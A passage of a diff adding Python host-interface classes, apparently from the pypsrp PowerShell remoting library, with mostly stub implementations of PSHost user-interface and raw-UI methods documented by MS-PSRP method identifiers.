     179 + 
     180 + def GetCurrentUICulture(
     181 + self,
     182 + runspace: RunspacePool,
     183 + pipeline: typing.Optional[PowerShell],
     184 + ) -> typing.Optional[CultureInfo]:
     185 + """
     186 + MI: 5
     187 + MUST return the host's UI culture.
     188 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.currentuiculture
     189 + 
     190 + :param runspace: The runspace the host call relates to
     191 + :param pipeline: The pipeline (if any) that the call relates to
     192 + :return: pypsrp.complex_objects.CultureInfo of the host's UI culture
     193 + """
     194 + return self.current_ui_culture
     195 + 
     196 + def SetShouldExit(
     197 + self,
     198 + runspace: RunspacePool,
     199 + pipeline: typing.Optional[PowerShell],
     200 + exit_code: int,
     201 + ) -> None:
     202 + """
     203 + MI: 6
     204 + SHOULD shut down the hosting application and close the current
     205 + runspace. The default implementation just sets the rc on the host
     206 + object and doesn't shutdown the runspace.
     207 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.setshouldexit
     208 + 
     209 + :param runspace: The runspace the host call relates to
     210 + :param pipeline: The pipeline (if any) that the call relates to
     211 + :param exit_code: The exit code accompanying the exit keyword.
     212 + Typically after exiting a runspace, a host will also terminate
     213 + """
     214 + self.rc = exit_code
     215 + 
     216 + def EnterNestedPrompt(
     217 + self,
     218 + runspace: RunspacePool,
     219 + pipeline: typing.Optional[PowerShell],
     220 + ) -> None:
     221 + """
     222 + MI: 7
     223 + SHOULD interrupt the current pipeline and start a nested pipeline.
     224 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.enternestedprompt
     225 + 
     226 + :param runspace: The runspace the host call relates to
     227 + :param pipeline: The pipeline (if any) that the call relates to
     228 + """
     229 + raise NotImplementedError()
     230 + 
     231 + def ExitNestedPrompt(
     232 + self,
     233 + runspace: RunspacePool,
     234 + pipeline: typing.Optional[PowerShell],
     235 + ) -> None:
     236 + """
     237 + MI: 8
     238 + SHOULD stop the nested pipeline and resume the current pipeline.
     239 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.exitnestedprompt
     240 + 
     241 + :param runspace: The runspace the host call relates to
     242 + :param pipeline: The pipeline (if any) that the call relates to
     243 + """
     244 + raise NotImplementedError()
     245 + 
     246 + def NotifyBeginApplication(
     247 + self,
     248 + runspace: RunspacePool,
     249 + pipeline: typing.Optional[PowerShell],
     250 + ) -> None:
     251 + """
     252 + MI: 9
     253 + Called by an application to indicate that it is executing a command
     254 + line application.
     255 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.notifybeginapplication
     256 + 
     257 + :param runspace: The runspace the host call relates to
     258 + :param pipeline: The pipeline (if any) that the call relates to
     259 + """
     260 + pass
     261 + 
     262 + def NotifyEndApplication(
     263 + self,
     264 + runspace: RunspacePool,
     265 + pipeline: typing.Optional[PowerShell],
     266 + ) -> None:
     267 + """
     268 + MI: 10
     269 + Called by an application to indicate that it has finished executing a
     270 + command line application.
     271 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshost.notifyendapplication
     272 + 
     273 + :param runspace: The runspace the host call relates to
     274 + :param pipeline: The pipeline (if any) that the call relates to
     275 + """
     276 + pass
     277 + 
     278 + 
     279 +class PSHostUserInterface(object):
     280 + def __init__(
     281 + self,
     282 + raw_ui: typing.Optional["PSHostRawUserInterface"] = None,
     283 + ) -> None:
     284 + """
     285 + Defines the properties and facilities provided by a hosting application
     286 + deriving from PSHost that offers dialog-oriented and line-oriented
     287 + interactive features.
     288 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface
     289 + 
     290 + This is a basic implementation some methods being noop or not
     291 + implemented.
     292 + 
     293 + :param raw_ui: Implementation of PSHostRawUserInterface, set to None
     294 + if there is no raw user interface
     295 + """
     296 + self.raw_ui = raw_ui
     297 + 
     298 + # the below properties don't need to be used, they are just here for
     299 + # the default implementation
     300 + self.stdout: typing.List[str] = []
     301 + self.stderr: typing.List[str] = []
     302 + 
     303 + def ReadLine(
     304 + self,
     305 + runspace: RunspacePool,
     306 + pipeline: typing.Optional[PowerShell],
     307 + ) -> str:
     308 + """
     309 + MI: 11
     310 + SHOULD read a line of characters from a user.
     311 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.readline
     312 + 
     313 + :param runspace: The runspace the host call relates to
     314 + :param pipeline: The pipeline (if any) that the call relates to
     315 + :return: A string of characters to return to the read line call
     316 + """
     317 + raise NotImplementedError()
     318 + 
     319 + def ReadLineAsSecureString(
     320 + self,
     321 + runspace: RunspacePool,
     322 + pipeline: typing.Optional[PowerShell],
     323 + ) -> ET.Element:
     324 + """
     325 + MI: 12
     326 + SHOULD read a line of characters from a user, with the user input not
     327 + echoed.
     328 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.readlineassecurestring
     329 + 
     330 + Because the return value is meant to be a SecureString, the user must
     331 + either have called or will call runspace.exchange_keys() in this
     332 + implementation so that the serializer can create the string.
     333 + 
     334 + :param runspace: The runspace the host call relates to
     335 + :param pipeline: The pipeline (if any) that the call relates to
     336 + :return: The characters types by the user in an encrypted form
     337 + """
     338 + raise NotImplementedError()
     339 + 
     340 + def Write1(
     341 + self,
     342 + runspace: RunspacePool,
     343 + pipeline: typing.Optional[PowerShell],
     344 + value: str,
     345 + ) -> None:
     346 + """
     347 + MI: 13
     348 + SHOULD write specified characters on the hosting application.
     349 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.write
     350 + 
     351 + :param runspace: The runspace the host call relates to
     352 + :param pipeline: The pipeline (if any) that the call relates to
     353 + :param value: The string of characters to be written
     354 + """
     355 + self.stdout.append(value)
     356 + 
     357 + def Write2(
     358 + self,
     359 + runspace: RunspacePool,
     360 + pipeline: typing.Optional[PowerShell],
     361 + foreground_color: int,
     362 + background_color: int,
     363 + value: str,
     364 + ) -> None:
     365 + """
     366 + MI: 14
     367 + SHOULD write the specified characters with the specified foreground and
     368 + background color on the hosting application.
     369 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.write
     370 + 
     371 + This implementation just adds this result to the stdout list and
     372 + ignores the colors, create your own method implementation if you wish
     373 + to utilise this correctly
     374 + 
     375 + :param runspace: The runspace the host call relates to
     376 + :param pipeline: The pipeline (if any) that the call relates to
     377 + :param foreground_color: The int value of pypsrp.complex_objects.Color
     378 + of the foreground color to display the text with
     379 + :param background_color: The int value of pypsrp.complex_objects.Color
     380 + of the background color to display the text with
     381 + :param value: The string of characters to be written
     382 + """
     383 + self.stdout.append(value)
     384 + 
     385 + def WriteLine1(
     386 + self,
     387 + runspace: RunspacePool,
     388 + pipeline: typing.Optional[PowerShell],
     389 + ) -> None:
     390 + """
     391 + MI: 15
     392 + SHOULD write a carriage return on the hosting application.
     393 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline
     394 + 
     395 + :param runspace: The runspace the host call relates to
     396 + :param pipeline: The pipeline (if any) that the call relates to
     397 + """
     398 + self.stdout.append("\r\n")
     399 + 
     400 + def WriteLine2(
     401 + self,
     402 + runspace: RunspacePool,
     403 + pipeline: typing.Optional[PowerShell],
     404 + value: str,
     405 + ) -> None:
     406 + """
     407 + MI: 16
     408 + SHOULD write the specified line on the hosting application.
     409 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline
     410 + 
     411 + :param runspace: The runspace the host call relates to
     412 + :param pipeline: The pipeline (if any) that the call relates to
     413 + :param value: The string of characters to be written
     414 + """
     415 + self.stdout.append(value + "\r\n")
     416 + 
     417 + def WriteLine3(
     418 + self,
     419 + runspace: RunspacePool,
     420 + pipeline: typing.Optional[PowerShell],
     421 + foreground_color: int,
     422 + background_color: int,
     423 + value: str,
     424 + ) -> None:
     425 + """
     426 + MI: 17
     427 + SHOULD write the specified line with the specified foreground and
     428 + background color on the hosting application.
     429 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeline
     430 + 
     431 + This implementation just adds this result to the stdout list and
     432 + ignores the colors, create your own method implementation if you wish
     433 + to utilise this correctly
     434 + 
     435 + :param runspace: The runspace the host call relates to
     436 + :param pipeline: The pipeline (if any) that the call relates to
     437 + :param foreground_color: The int value of pypsrp.complex_objects.Color
     438 + of the foreground color to display the text with
     439 + :param background_color: The int value of pypsrp.complex_objects.Color
     440 + of the background color to display the text with
     441 + :param value: The string of characters to be written
     442 + """
     443 + self.stdout.append(value + "\r\n")
     444 + 
     445 + def WriteErrorLine(
     446 + self,
     447 + runspace: RunspacePool,
     448 + pipeline: typing.Optional[PowerShell],
     449 + message: str,
     450 + ) -> None:
     451 + """
     452 + MI: 18
     453 + SHOULD write a line to the error display of the hosting application.
     454 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeerrorline
     455 + 
     456 + :param runspace: The runspace the host call relates to
     457 + :param pipeline: The pipeline (if any) that the call relates to
     458 + :param message: The message to display
     459 + """
     460 + self.stderr.append(message + "\r\n")
     461 + 
     462 + def WriteDebugLine(
     463 + self,
     464 + runspace: RunspacePool,
     465 + pipeline: typing.Optional[PowerShell],
     466 + message: str,
     467 + ) -> None:
     468 + """
     469 + MI: 19
     470 + SHOULD write a line to the debug display of the hosting application.
     471 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writedebugline
     472 + 
     473 + :param runspace: The runspace the host call relates to
     474 + :param pipeline: The pipeline (if any) that the call relates to
     475 + :param message: The message to display
     476 + """
     477 + self.stdout.append("DEBUG: %s\r\n" % message)
     478 + 
     479 + def WriteProgress(
     480 + self,
     481 + runspace: RunspacePool,
     482 + pipeline: typing.Optional[PowerShell],
     483 + source_id: int,
     484 + record: str,
     485 + ) -> None:
     486 + """
     487 + MI: 20
     488 + SHOULD display a progress record on the hosting application.
     489 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeprogress
     490 + 
     491 + Because of the way MS serializes the record in the method call args,
     492 + the value for record is the serialized XML string for a ProgressRecord
     493 + message. You can manually parse it like;
     494 + 
     495 + from pypsrp.messages import ProgressRecord
     496 + 
     497 + meta = ObjectMeta("Obj", object=ProgressRecord)
     498 + rec = runspace._serializer.deserialize(record, meta)
     499 + 
     500 + :param runspace: The runspace the host call relates to
     501 + :param pipeline: The pipeline (if any) that the call relates to
     502 + :param source_id: Unique identifier of the source of the record
     503 + :param record: A ProgressRecord serialized as XML
     504 + """
     505 + pass
     506 + 
     507 + def WriteVerboseLine(
     508 + self,
     509 + runspace: RunspacePool,
     510 + pipeline: typing.Optional[PowerShell],
     511 + message: str,
     512 + ) -> None:
     513 + """
     514 + MI: 21
     515 + SHOULD write a line on the verbose display of the hosting application.
     516 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writeverboseline
     517 + 
     518 + :param runspace: The runspace the host call relates to
     519 + :param pipeline: The pipeline (if any) that the call relates to
     520 + :param message: The verbose message to display
     521 + """
     522 + self.stdout.append("VERBOSE: %s\r\n" % message)
     523 + 
     524 + def WriteWarningLine(
     525 + self,
     526 + runspace: RunspacePool,
     527 + pipeline: typing.Optional[PowerShell],
     528 + message: str,
     529 + ) -> None:
     530 + """
     531 + MI: 22
     532 + SHOULD write a line on the warning display of the hosting application.
     533 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.writewarningline
     534 + 
     535 + :param runspace: The runspace the host call relates to
     536 + :param pipeline: The pipeline (if any) that the call relates to
     537 + :param message: The warning message to display
     538 + """
     539 + self.stdout.append("WARNING: %s\r\n" % message)
     540 + 
     541 + def Prompt(
     542 + self,
     543 + runspace: RunspacePool,
     544 + pipeline: typing.Optional[PowerShell],
     545 + caption: str,
     546 + message: str,
     547 + description: typing.List[GenericComplexObject],
     548 + ) -> typing.Dict[str, typing.Any]:
     549 + """
     550 + MI: 23
     551 + SHOULD prompt the user with a set of choices.
     552 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.prompt
     553 + 
     554 + The descriptions arg is a list of GenericComplexObjects with the
     555 + following extended attributes (correlates to FieldDescription in .NET):
     556 + attributes
     557 + defaultValue
     558 + helpMessage
     559 + isMandatory
     560 + label
     561 + name
     562 + parameterAssemblyFullName
     563 + parameterTypeFullName
     564 + parameterTypeName
     565 + 
     566 + For example you can access the prompt name from `Read-Host -Prompt`
     567 + with descriptions[i].extended_properties['name'].
     568 + 
     569 + :param runspace: The runspace the host call relates to
     570 + :param pipeline: The pipeline (if any) that the call relates to
     571 + :param caption: Caption to precede or title the prompt
     572 + :param message: A text description of the set of fields to be prompted
     573 + :param descriptions: list of serialized FieldDescriptions that contain
     574 + information about each field to be prompted for
     575 + :return: Dict with results of prompting. Key are the field names from
     576 + the FieldDescriptions, the values are objects representing the
     577 + values of the corresponding fields as collected from the user.
     578 + """
     579 + raise NotImplementedError()
     580 + 
     581 + def PromptForCredential1(
     582 + self,
     583 + runspace: RunspacePool,
     584 + pipeline: typing.Optional[PowerShell],
     585 + caption: str,
     586 + message: str,
     587 + user_name: str,
     588 + target_name: str,
     589 + ) -> PSCredential:
     590 + """
     591 + MI: 24
     592 + SHOULD prompt the user for entering credentials with the specified
     593 + caption, message, user name and target name.
     594 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforcredential
     595 + 
     596 + :param runspace: The runspace the host call relates to
     597 + :param pipeline: The pipeline (if any) that the call relates to
     598 + :param caption: Caption for the message
     599 + :param message: Text description for the credential to be prompted
     600 + :param user_name: Name of the user whose credential is to be prompted
     601 + for. If set to null or empty string, the function will prompt for
     602 + the user name first
     603 + :param target_name: Name of the target for which the credential is
     604 + being collected
     605 + :return: PSCredential object of the user input credential
     606 + """
     607 + raise NotImplementedError()
     608 + 
     609 + def PromptForCredential2(
     610 + self,
     611 + runspace: RunspacePool,
     612 + pipeline: typing.Optional[PowerShell],
     613 + caption: str,
     614 + message: str,
     615 + user_name: str,
     616 + target_name: str,
     617 + allowed_credential_types: int,
     618 + options: int,
     619 + ) -> PSCredential:
     620 + """
     621 + MI: 25
     622 + SHOULD prompt the user for entering credentials with the specified
     623 + caption, message, username, target name, allowed credential types and
     624 + options.
     625 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforcredential
     626 + 
     627 + :param runspace: The runspace the host call relates to
     628 + :param pipeline: The pipeline (if any) that the call relates to
     629 + :param caption: Caption for the message
     630 + :param message: Text description for the credential to be prompted
     631 + :param user_name: Name of the user whose credential is to be prompted
     632 + for. If set to null or empty string, the function will prompt for
     633 + the user name first
     634 + :param target_name: Name of the target for which the credential is
     635 + being collected
     636 + :param allowed_credential_types: the int value for PSCredentialTypes,
     637 + types of credentials that can be supplied by the user
     638 + :param options: the int value for PSCredentialUIOptions, options that
     639 + control the credential gathering UI behavior
     640 + :return: PSCredential object of the user input credential
     641 + """
     642 + raise NotImplementedError()
     643 + 
     644 + def PromptForChoice(
     645 + self,
     646 + runspace: RunspacePool,
     647 + pipeline: typing.Optional[PowerShell],
     648 + caption: str,
     649 + message: str,
     650 + choices: typing.List[GenericComplexObject],
     651 + default_choice: int,
     652 + ) -> int:
     653 + """
     654 + MI: 26
     655 + SHOULD display a list of choices to the user and MUST return the index
     656 + of the selected option.
     657 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostuserinterface.promptforchoice
     658 + 
     659 + :param runspace: The runspace the host call relates to
     660 + :param pipeline: The pipeline (if any) that the call relates to
     661 + :param caption: The caption to precede or title the prompt
     662 + :param message: A message that describes what the choice is for
     663 + :param choices: A list of serialized (GenericComplexObject)
     664 + ChoiceDescription objects that describe each choice
     665 + :param default_choice: The index of the label in the choices collection
     666 + element to be present to the user as the default choice, -1 means
     667 + no default
     668 + :return: The index of the choices element that corresponds to the
     669 + option selected
     670 + """
     671 + raise NotImplementedError()
     672 + 
     673 + 
     674 +class PSHostRawUserInterface(object):
     675 + def __init__(
     676 + self,
     677 + window_title: str,
     678 + cursor_size: int,
     679 + foreground_color: Color,
     680 + background_color: Color,
     681 + cursor_position: Coordinates,
     682 + window_position: Coordinates,
     683 + buffer_size: Size,
     684 + max_physical_window_size: Size,
     685 + max_window_size: Size,
     686 + window_size: Size,
     687 + ) -> None:
     688 + """
     689 + Defines the lowest-level user interface functions that an interactive
     690 + application hosting a Runspace can choose to implement if it wants
     691 + to support any cmdlet that does character-mode interaction with the
     692 + user.
     693 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface
     694 + 
     695 + This is a basic framework implementation with the majority of the
     696 + methods not implemented or tested.
     697 + 
     698 + :param window_title: The titlebar text of the current view window
     699 + :param cursor_size: The size of the cursor as a percentage (0 to 100)
     700 + :param foreground_color: The pypsrp.complex_objects.Color used to
     701 + render characters on the screen buffer
     702 + :param background_color: The pypsrp.complex_objects.Color used to
     703 + render the backfround behind characters on the screen buffer
     704 + :param cursor_position: The pypsrp.complex_objects.Coordinates of the
     705 + position of the cursor in the screen buffer
     706 + :param window_position: The pypsrp.complex_objects.Coordinates of the
     707 + position of the window relative to the screen buffer, (0, 0) is the
     708 + upper left of the screen buffer
     709 + :param buffer_size: The pypsrp.complex_objects.Size of the screen
     710 + buffer
     711 + :param max_physical_window_size: The pypsrp.complex_objects.Size of the
     712 + largest windows possible for the display hardward
     713 + :param max_window_size: The pypsrp.complex_objects.Size of the window
     714 + possible for the current buffer
     715 + :param window_size: The pypsrp.complex_objects.Size of the current
     716 + window, cannot be larger than max_physical_window_size
     717 + """
     718 + self.key_available = False
     719 + 
     720 + self.window_title = window_title
     721 + self.cursor_size = cursor_size
     722 + self.foreground_color = foreground_color
     723 + self.background_color = background_color
     724 + self.cursor_position = cursor_position
     725 + self.window_position = window_position
     726 + self.buffer_size = buffer_size
     727 + self.max_physical_window_size = max_physical_window_size
     728 + self.max_window_size = max_window_size
     729 + self.window_size = window_size
     730 + 
     731 + def GetForegroundColor(
     732 + self,
     733 + runspace: RunspacePool,
     734 + pipeline: typing.Optional[PowerShell],
     735 + ) -> Color:
     736 + """
     737 + MI: 27
     738 + SHOULD return the foreground color of the hosting application.
     739 + 
     740 + :param runspace: The runspace the host call relates to
     741 + :param pipeline: The pipeline (if any) that the call relates to
     742 + :return: A pypsrp.complex_objects.Color to return to the server
     743 + """
     744 + return self.foreground_color
     745 + 
     746 + def SetForegroundColor(
     747 + self,
     748 + runspace: RunspacePool,
     749 + pipeline: typing.Optional[PowerShell],
     750 + color: Color,
     751 + ) -> None:
     752 + """
     753 + MI: 28
     754 + SHOULD set the foreground color of the hosting application.
     755 + 
     756 + :param runspace: The runspace the host call relates to
     757 + :param pipeline: The pipeline (if any) that the call relates to
     758 + :param color: The int value for pypsrp.complex_objects.Color to set
     759 + """
     760 + self.foreground_color = Color(value=color)
     761 + 
     762 + def GetBackgroundColor(
     763 + self,
     764 + runspace: RunspacePool,
     765 + pipeline: typing.Optional[PowerShell],
     766 + ) -> Color:
     767 + """
     768 + MI: 29
     769 + SHOULD return the background color of the hosting application.
     770 + 
     771 + :param runspace: The runspace the host call relates to
     772 + :param pipeline: The pipeline (if any) that the call relates to
     773 + :return: A pypsrp.complex_objects.Color to return to the server
     774 + """
     775 + return self.background_color
     776 + 
     777 + def SetBackgroundColor(
     778 + self,
     779 + runspace: RunspacePool,
     780 + pipeline: typing.Optional[PowerShell],
     781 + color: Color,
     782 + ) -> None:
     783 + """
     784 + MI: 30
     785 + SHOULD set the background color of the hosting application.
     786 + 
     787 + :param runspace: The runspace the host call relates to
     788 + :param pipeline: The pipeline (if any) that the call relates to
     789 + :param color: The int value for pypsrp.complex_objects.Color to set
     790 + """
     791 + self.background_color = Color(value=color)
     792 + 
     793 + def GetCursorPosition(
     794 + self,
     795 + runspace: RunspacePool,
     796 + pipeline: typing.Optional[PowerShell],
     797 + ) -> Coordinates:
     798 + """
     799 + MI: 31
     800 + SHOULD return the current cursor position in the hosting application.
     801 + 
     802 + :param runspace: The runspace the host call relates to
     803 + :param pipeline: The pipeline (if any) that the call relates to
     804 + :return: A pypsrp.complex_objects.Coordinates to return to the server
     805 + """
     806 + return self.cursor_position
     807 + 
     808 + def SetCursorPosition(
     809 + self,
     810 + runspace: RunspacePool,
     811 + pipeline: typing.Optional[PowerShell],
     812 + coordinates: GenericComplexObject,
     813 + ) -> None:
     814 + """
     815 + MI: 32
     816 + SHOULD return the current cursor position in the hosting application.
     817 + 
     818 + :param runspace: The runspace the host call relates to
     819 + :param pipeline: The pipeline (if any) that the call relates to
     820 + :param coordinates: A GenericComplexObject that contains the extended
     821 + properties for the coordinates
     822 + """
     823 + pos = Coordinates(x=coordinates.extended_properties["x"], y=coordinates.extended_properties["y"])
     824 + self.cursor_position = pos
     825 + 
     826 + def GetWindowPosition(
     827 + self,
     828 + runspace: RunspacePool,
     829 + pipeline: typing.Optional[PowerShell],
     830 + ) -> Coordinates:
     831 + """
     832 + MI: 33
     833 + SHOULD return the position of the view window relative to the screen
     834 + buffer.
     835 + 
     836 + :param runspace: The runspace the host call relates to
     837 + :param pipeline: The pipeline (if any) that the call relates to
     838 + :return: A pypsrp.complex_objects.Coordinates to return to the server
     839 + """
     840 + return self.window_position
     841 + 
     842 + def SetWindowPosition(
     843 + self,
     844 + runspace: RunspacePool,
     845 + pipeline: typing.Optional[PowerShell],
     846 + coordinates: GenericComplexObject,
     847 + ) -> None:
     848 + """
     849 + MI: 34
     850 + SHOULD set the position of the view window relative to the screen
     851 + buffer.
     852 + 
     853 + :param runspace: The runspace the host call relates to
     854 + :param pipeline: The pipeline (if any) that the call relates to
     855 + :param coordinates: A GenericComplexObject that contains the extended
     856 + properties for the coordinates
     857 + """
     858 + pos = Coordinates(x=coordinates.extended_properties["x"], y=coordinates.extended_properties["y"])
     859 + self.window_position = pos
     860 + 
     861 + def GetCursorSize(
     862 + self,
     863 + runspace: RunspacePool,
     864 + pipeline: typing.Optional[PowerShell],
     865 + ) -> int:
     866 + """
     867 + MI: 35
     868 + SHOULD return the cursor size as a percentage.
     869 + 
     870 + :param runspace: The runspace the host call relates to
     871 + :param pipeline: The pipeline (if any) that the call relates to
     872 + :return: The int value for the cursor size
     873 + """
     874 + return self.cursor_size
     875 + 
     876 + def SetCursorSize(
     877 + self,
     878 + runspace: RunspacePool,
     879 + pipeline: typing.Optional[PowerShell],
     880 + percentage: int,
     881 + ) -> None:
     882 + """
     883 + MI: 36
     884 + SHOULD set the cursor size based on the percentage value specified.
     885 + 
     886 + :param runspace: The runspace the host call relates to
     887 + :param pipeline: The pipeline (if any) that the call relates to
     888 + :param percentage: The int value representing the cursor size
     889 + """
     890 + self.cursor_size = percentage
     891 + 
     892 + def GetBufferSize(
     893 + self,
     894 + runspace: RunspacePool,
     895 + pipeline: typing.Optional[PowerShell],
     896 + ) -> Size:
     897 + """
     898 + MI: 37
     899 + SHOULD return the current size of the screen buffer, measured in
     900 + character cells.
     901 + 
     902 + :param runspace: The runspace the host call relates to
     903 + :param pipeline: The pipeline (if any) that the call relates to
     904 + :return: pypsrp.complex_object.Size of the screen buffer, measured in
     905 + character cells
     906 + """
     907 + return self.buffer_size
     908 + 
     909 + def SetBufferSize(
     910 + self,
     911 + runspace: RunspacePool,
     912 + pipeline: typing.Optional[PowerShell],
     913 + size: GenericComplexObject,
     914 + ) -> None:
     915 + """
     916 + MI: 38
     917 + SHOULD set the size of the screen buffer with the specified size in
     918 + character cells.
     919 + 
     920 + :param runspace: The runspace the host call relates to
     921 + :param pipeline: The pipeline (if any) that the call relates to
     922 + :param size: A GenericComplexObject that contains the extended
     923 + properties for the size
     924 + """
     925 + obj = Size(height=size.extended_properties["height"], width=size.extended_properties["width"])
     926 + self.buffer_size = obj
     927 + 
     928 + def GetWindowSize(
     929 + self,
     930 + runspace: RunspacePool,
     931 + pipeline: typing.Optional[PowerShell],
     932 + ) -> Size:
     933 + """
     934 + MI: 39
     935 + SHOULD return the current view window size.
     936 + 
     937 + :param runspace: The runspace the host call relates to
     938 + :param pipeline: The pipeline (if any) that the call relates to
     939 + :return: pypsrp.complex_objects.Size of the current window
     940 + """
     941 + return self.window_size
     942 + 
     943 + def SetWindowSize(
     944 + self,
     945 + runspace: RunspacePool,
     946 + pipeline: typing.Optional[PowerShell],
     947 + size: GenericComplexObject,
     948 + ) -> None:
     949 + """
     950 + MI: 40
     951 + SHOULD set the view window size based on the size specified.
     952 + 
     953 + :param runspace: The runspace the host call relates to
     954 + :param pipeline: The pipeline (if any) that the call relates to
     955 + :param size: A GenericComplexObject that contains the extended
     956 + properties for the size
     957 + """
     958 + obj = Size(height=size.extended_properties["height"], width=size.extended_properties["width"])
     959 + self.window_size = obj
     960 + 
     961 + def GetWindowTitle(
     962 + self,
     963 + runspace: RunspacePool,
     964 + pipeline: typing.Optional[PowerShell],
     965 + ) -> str:
     966 + """
     967 + MI: 41
     968 + SHOULD return the title of the hosting application's window.
     969 + 
     970 + :param runspace: The runspace the host call relates to
     971 + :param pipeline: The pipeline (if any) that the call relates to
     972 + :return: The window title of the hosting application
     973 + """
     974 + return self.window_title
     975 + 
     976 + def SetWindowTitle(
     977 + self,
     978 + runspace: RunspacePool,
     979 + pipeline: typing.Optional[PowerShell],
     980 + title: str,
     981 + ) -> None:
     982 + """
     983 + MI: 42
     984 + SHOULD set the view window size based on the size specified.
     985 + 
     986 + :param runspace: The runspace the host call relates to
     987 + :param pipeline: The pipeline (if any) that the call relates to
     988 + :param title: The string for the window title to set
     989 + """
     990 + self.window_title = title
     991 + 
     992 + def GetMaxWindowSize(
     993 + self,
     994 + runspace: RunspacePool,
     995 + pipeline: typing.Optional[PowerShell],
     996 + ) -> Size:
     997 + """
     998 + MI: 43
     999 + SHOULD return the maximum window size possible for the current buffer,
     1000 + current font, and current display hardware.
     1001 + 
     1002 + :param runspace: The runspace the host call relates to
     1003 + :param pipeline: The pipeline (if any) that the call relates to
     1004 + :return: pypsrp.complex_objects.Size of the max possible window size
     1005 + """
     1006 + return self.max_window_size
     1007 + 
     1008 + def GetMaxPhysicalWindowSize(
     1009 + self,
     1010 + runspace: RunspacePool,
     1011 + pipeline: typing.Optional[PowerShell],
     1012 + ) -> Size:
     1013 + """
     1014 + MI: 44
     1015 + SHOULD return the maximum window size possible for the current font and
     1016 + current display hardware, ignoring the current buffer size.
     1017 + 
     1018 + :param runspace: The runspace the host call relates to
     1019 + :param pipeline: The pipeline (if any) that the call relates to
     1020 + :return: pypsrp.complex_objects.Size of the max physically possible
     1021 + window size
     1022 + """
     1023 + return self.max_physical_window_size
     1024 + 
     1025 + def GetKeyAvailable(
     1026 + self,
     1027 + runspace: RunspacePool,
     1028 + pipeline: typing.Optional[PowerShell],
     1029 + ) -> bool:
     1030 + """
     1031 + MI: 45
     1032 + SHOULD examine if a keystroke is waiting on the input, returning TRUE
     1033 + if so and FALSE otherwise
     1034 + 
     1035 + :param runspace: The runspace the host call relates to
     1036 + :param pipeline: The pipeline (if any) that the call relates to
     1037 + :return: bool if a keystroke is waiting on the input
     1038 + """
     1039 + return self.key_available
     1040 + 
     1041 + def ReadKey(
     1042 + self,
     1043 + runspace: RunspacePool,
     1044 + pipeline: typing.Optional[PowerShell],
     1045 + options: int = 4,
     1046 + ) -> KeyInfo:
     1047 + """
     1048 + MI: 46
     1049 + SHOULD read a key stroke from the keyboard, blocking until a key is
     1050 + typed.
     1051 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.readkey
     1052 + 
     1053 + :param runspace: The runspace the host call relates to
     1054 + :param pipeline: The pipeline (if any) that the call relates to
     1055 + :param options: Bit mask combo of ReadKeyOptions, default is
     1056 + ReadKeyOptions.IncludeKeyDown
     1057 + :return: KeyInfo - key stroke depending on the value of options
     1058 + """
     1059 + raise NotImplementedError()
     1060 + 
     1061 + def FlushInputBuffer(
     1062 + self,
     1063 + runspace: RunspacePool,
     1064 + pipeline: typing.Optional[PowerShell],
     1065 + ) -> None:
     1066 + """
     1067 + MI: 47
     1068 + SHOULD reset the keyboard input buffer.
     1069 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.flushinputbuffer
     1070 + 
     1071 + :param runspace: The runspace the host call relates to
     1072 + :param pipeline: The pipeline (if any) that the call relates to
     1073 + """
     1074 + pass
     1075 + 
     1076 + def SetBufferContents1(
     1077 + self,
     1078 + runspace: RunspacePool,
     1079 + pipeline: typing.Optional[PowerShell],
     1080 + rectangle: GenericComplexObject,
     1081 + fill: GenericComplexObject,
     1082 + ) -> None:
     1083 + """
     1084 + MI: 49
     1085 + SHOULD copy the specified buffer cell into all the cells within the
     1086 + specified rectangle.
     1087 + https://docs.microsoft.com/en-us/dotnet/api/system.management.automation.host.pshostrawuserinterface.setbuffercontents
     1088 + 
     1089 + :param runspace: The runspace the host call relates to
     1090 + :param pipeline: The pipeline (if any) that the call relates to
     1091 + :param rectange: A GenericComplexObject that represents the rectangle
     1092 + in which to fill. If all element are -1, the entire screen buffer
     1093 + will be copied with fill. Contains the following extended
     1094 + properties: left, top, right, bottom
     1095 + :param fill: A GenericComplexObject of the characters and attributes
     1096 + used to fill the rectangle
     1097 + """
     1098 + pass
     1099 + 
     1100 + def SetBufferContents2(
     1101 + self,
     1102 + runspace: RunspacePool,
     1103 + pipeline: typing.Optional[PowerShell],
     1104 + origin: GenericComplexObject,
     1105 + contents: GenericComplexObject,
     1106 + ) -> None:
     1107 + """
     1108 + MI: 48
     1109 + SHOULD copy the specified buffer cell array into the screen buffer at
     1110 + the specified coordinates (as specified in section 2.2.3.1).
